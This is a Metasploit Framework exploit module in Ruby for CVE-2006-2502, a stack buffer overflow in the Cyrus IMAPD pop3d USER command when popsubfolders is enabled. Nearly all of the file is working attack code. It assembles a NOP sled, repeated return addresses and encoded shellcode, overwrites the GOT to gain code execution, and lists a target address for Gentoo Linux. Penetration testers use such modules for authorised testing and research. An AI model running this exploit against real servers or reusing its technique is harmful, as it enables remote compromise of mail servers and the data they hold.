96 lines
2.6 KiB
Ruby
96 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',
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'Description' => %q{
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This exploit takes advantage of a stack based overflow. Once the stack
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corruption has occured it is possible to overwrite a pointer which is
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later used for a memcpy. This gives us a write anything anywhere condition
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similar to a format string vulnerability.
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NOTE: The popsubfolders option is a non-default setting.
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I chose to overwrite the GOT with my shellcode and return to it. This
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defeats the VA random patch and possibly other stack protection features.
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Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with
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a version containing the vulnerable code, it is not exploitable due to the
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use of the FORTIFY_SOURCE compiler enhancement
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},
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'Author' => [ 'bannedit', 'jduck' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-2502' ],
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[ 'OSVDB', '25853' ],
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[ 'BID', '18056' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/2053' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/2185' ],
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[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],
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],
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'Payload' =>
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{
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'Space' => 250,
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'DisableNops' => true,
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},
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'Platform' => 'linux',
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'Targets' =>
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[
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# bannedit: 0x080fd204
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# K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)
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[ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'May 21 2006',
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'DefaultTarget' => 0))
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register_options( [ Opt::RPORT(110) ], self.class )
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end
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def exploit
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connect
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print_status "Banner: #{banner = sock.gets}"
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# NOTE: orig poc shellcode len: 84
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# kcope: 352+84+86+4 (nops,sc,nops,ret)
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# K-sPecial: 84+(120*4) (sc,addrs)
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# bannedit: 265+8+250+29+16
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shellcode = payload.encoded
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buf = "USER "
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buf << make_nops(265)
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# return address
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buf << [target.ret].pack('V') * 2
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buf << make_nops(250 - shellcode.length)
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buf << shellcode
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buf << make_nops(29)
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sc_addr = target.ret - 277
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buf << [sc_addr].pack('V') * 4
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buf << "\r\n"
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sock.send(buf, 0)
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disconnect
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end
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end
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